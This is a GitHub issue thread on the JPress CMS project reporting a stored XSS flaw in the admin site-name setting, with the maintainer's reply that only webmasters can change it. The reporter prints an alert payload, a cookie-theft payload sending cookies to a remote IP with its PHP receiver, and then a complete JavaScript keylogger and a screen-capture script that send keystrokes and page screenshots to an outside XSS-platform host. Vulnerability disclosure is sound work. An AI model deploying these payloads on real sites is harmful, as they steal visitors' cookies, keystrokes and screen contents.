JPressProjects / jpress

JPress,一个使用 Java 开发的建站神器,目前已经有 10w+ 网站使用 JPress 进行驱动,其中包括多个政府机构,200+上市公司,中科院、红+字会等。
http://www.jpress.cn
GNU Lesser General Public License v3.0
2.67k stars 1.18k forks source link

There is a storage xss in your web application which can be use for phishing #115

Closed zsdlove closed 4 years ago

zsdlove commented 5 years ago

Hi,guys,there is a storage type xss in your web application,which can be use for phishing. Vulnerability url: http://127.0.0.1:8080/starter-tomcat-1.0/admin/setting the flaws happened in this place: image First of all: We use the payload below: "><img src=i onerror=alert(document.cookie)> image And we can see that we get the cookies,by access the url: http://127.0.0.1:8080/starter-tomcat-1.0/ image image The fronend get the site name string from the backend without html entity encode. Due to the leak occurred at the front end,it may cause greater harm,such as Phishing. Below is the simple payload for xss phishing. "><script>window.open('http://104.xxx.xxx.146/CookieReceiver.php?msg='+document.cookie)</script> We enter the payload into the same place. image Then we access the frontend http://127.0.0.1:8080/starter-tomcat-1.0/ image

After the js code excuted at the frontend,it will send the cookie of the views to the remote service. Cookie receiver

image

Receiver Code:

<h1>Remote Cookie Receiver</h1>
<?php
$cookie=$_GET['msg'];
echo "The cookie is:".$cookie;
?>

Then we see the source code location of the flaws: Below is doing option change and save

@RequestMapping("/admin/option")
public class _OptionController extends AdminControllerBase {

    @Inject
    private OptionService os;

    public void doSave() {

        Map<String, String[]> paraMap = getParaMap();
        if (paraMap == null || paraMap.isEmpty()) {
            renderJson(Ret.fail("msg", "para is empty"));
            return;
        }

        HashMap<String, String> datasMap = new HashMap<String, String>();
        for (Map.Entry<String, String[]> entry : paraMap.entrySet()) {
            if (entry.getValue() != null && entry.getValue().length > 0) {
                String value = null;
                for (String v : entry.getValue()) {
                    if (StrUtils.isNotEmpty(v)) {
                        value = v;
                        break;
                    }
                }
                datasMap.put(entry.getKey(), value);
            }
        }

        for (Map.Entry<String, String> entry : datasMap.entrySet()) {
            os.saveOrUpdate(entry.getKey(), entry.getValue());
            JPressOptions.set(entry.getKey(), entry.getValue());
        }

        renderJson(Ret.ok());
}

We can see,It does not do any filtered for xss attact. There is a class for option storing which locations at Baseurl\jpress\jpress-commons\src\main\java\io\jpress\JPressConsts.java image

Here we get the config information from JPressConsts,and then it will show in the front without html entity encode. image

suggestuions: 1、 do xss filter. 2、 before ouput the values to the frontend,we should do html entity encode for it.

hope you guy fix this flaw quickly,if you have any questions,please contact me with the email below:

747289639@qq.com

JPressProjects commented 5 years ago

@zsdlove,thanks for your issue, in my submission the site settings action is need webMaster's permissions,u can set any data if u are webMaster.

in this case , jpress must allow web master set javascript code for some place like 'copyright information'(版权信息) or 'statistical code'(统计代码)。

if u are web master,and u want attack your website by xss? rewrite your template directly.

zsdlove commented 5 years ago

1、Although,it need webMaster's permissions.buti if the malicious attackers use the social engineering to obtain the password,and then login in the backend.After that,he will have the permission to manipulated the website name.This loophole is far more harmful than your perception.The malicious attackers can insert a deceptive information(such as Deceptive URLs t which redict to the malicious attackers's website) into your frontend,if the normal user access your website,he or she will be decoyed by the deceptive information.And the harmfulness of storage xss is not only get the cookie from the web views,but also can do Keylogger and Intercepting the Web Screen below is the javascript code demo of keylogger:

(function(){
        var logger = "";
        keyDown = function(e)
        {
                var e=e||event;
                var currKey=e.keyCode||e.which||e.charCode;
                if((currKey>7&&currKey<32)||(currKey>31&&currKey<47))
                {
                   switch(currKey)
              {
                        case 8: keyName = "[退格]"; break;
                        case 9: keyName = "[制表]"; break;
                        case 13:keyName = "[回车]"; break;
                        //case 16:keyName = "[shift]"; break;
                        case 17:keyName = "[Ctrl]"; break;
                        case 18:keyName = "[Alt]"; break;
                        case 20:keyName = "[大小写]"; break;
                        case 32:keyName = "[空格]"; break;
                        case 33:keyName = "[PageUp]";   break;
                        case 34:keyName = "[PageDown]";   break;
                        case 35:keyName = "[End]";   break;
                        case 36:keyName = "[Home]";   break;
                        case 37:keyName = "[方向键左]";   break;
                        case 38:keyName = "[方向键上]";   break;
                        case 39:keyName = "[方向键右]";   break;
                        case 40:keyName = "[方向键下]";   break;
                        case 46:keyName = "[删除]";   break;
                        default:keyName = "";    break;
                   }
                   logger += keyName;
                }
        }
        keyPress = function(e)
        {
                var currKey=0,CapsLock=0,e=e||event;
                currKey=e.keyCode||e.which||e.charCode;
                CapsLock=currKey>=65&&currKey<=90;
                switch(currKey)
                {
                       //屏蔽了退格、制表、回车、空格、方向键、删除键等
                       case 8: case 9:case 13:case 16:case 17:case 18:case 20:
                                    case 32: case 33: case 34: case 35: case 36: case 37:case 38:
                                    case 39:case 40:case 46:keyName = "";break;
                       default:keyName = String.fromCharCode(currKey); break;
                }
                logger += keyName;
        }
        sendChar = function()
        {
                if (!logger) return;
                (new Image).src="http://xsspt.com/index.php?do=api&id={projectId}&char=" + logger; //服务端地址
                logger = "";
        }
        formSubmit = function()
        {
                sendChar();
        }
        document.onkeydown = keyDown;
        document.onkeypress = keyPress;
        document.onsubmit = formSubmit;
        setInterval(sendChar, 10000); //设置定时器
})();

below is the javascript code of Intercept Web Screen:

var headjt=document.getElementsByTagName("head")[0];var scriptjt1=document.createElement("script");var img="";scriptjt1.type="text/javascript";scriptjt1.onload=scriptjt1.onreadystatechange=function(){if(!this.readyState||this.readyState==="loaded"||this.readyState==="complete"){helpjt();scriptjt1.onload=scriptjt1.onreadystatechange=null}};scriptjt1.src="http://xsspt.com/js/html2canvas.js";headjt.appendChild(scriptjt1);function saveImageInfojt(canvas){var mycanvas=canvas;var image=mycanvas.toDataURL("image/png");img=image}function helpjt(){html2canvas(document.body).then(function(canvas){saveImageInfojt(canvas);(function(){xssinfo={};try{xssinfo["img"]=escape(img)}catch(e){xssinfo["img"]=""}var ajax=new XMLHttpRequest();ajax.open("POST","http://xsspt.com/index.php?do=api&dtype=json&model=jietu&id={projectId}");ajax.setRequestHeader("Content-type","text/plain");ajax.send(JSON.stringify(xssinfo));ajax.onreadystatechange=function(){if(ajax.readyState==4&&ajax.status==200){}}})()})};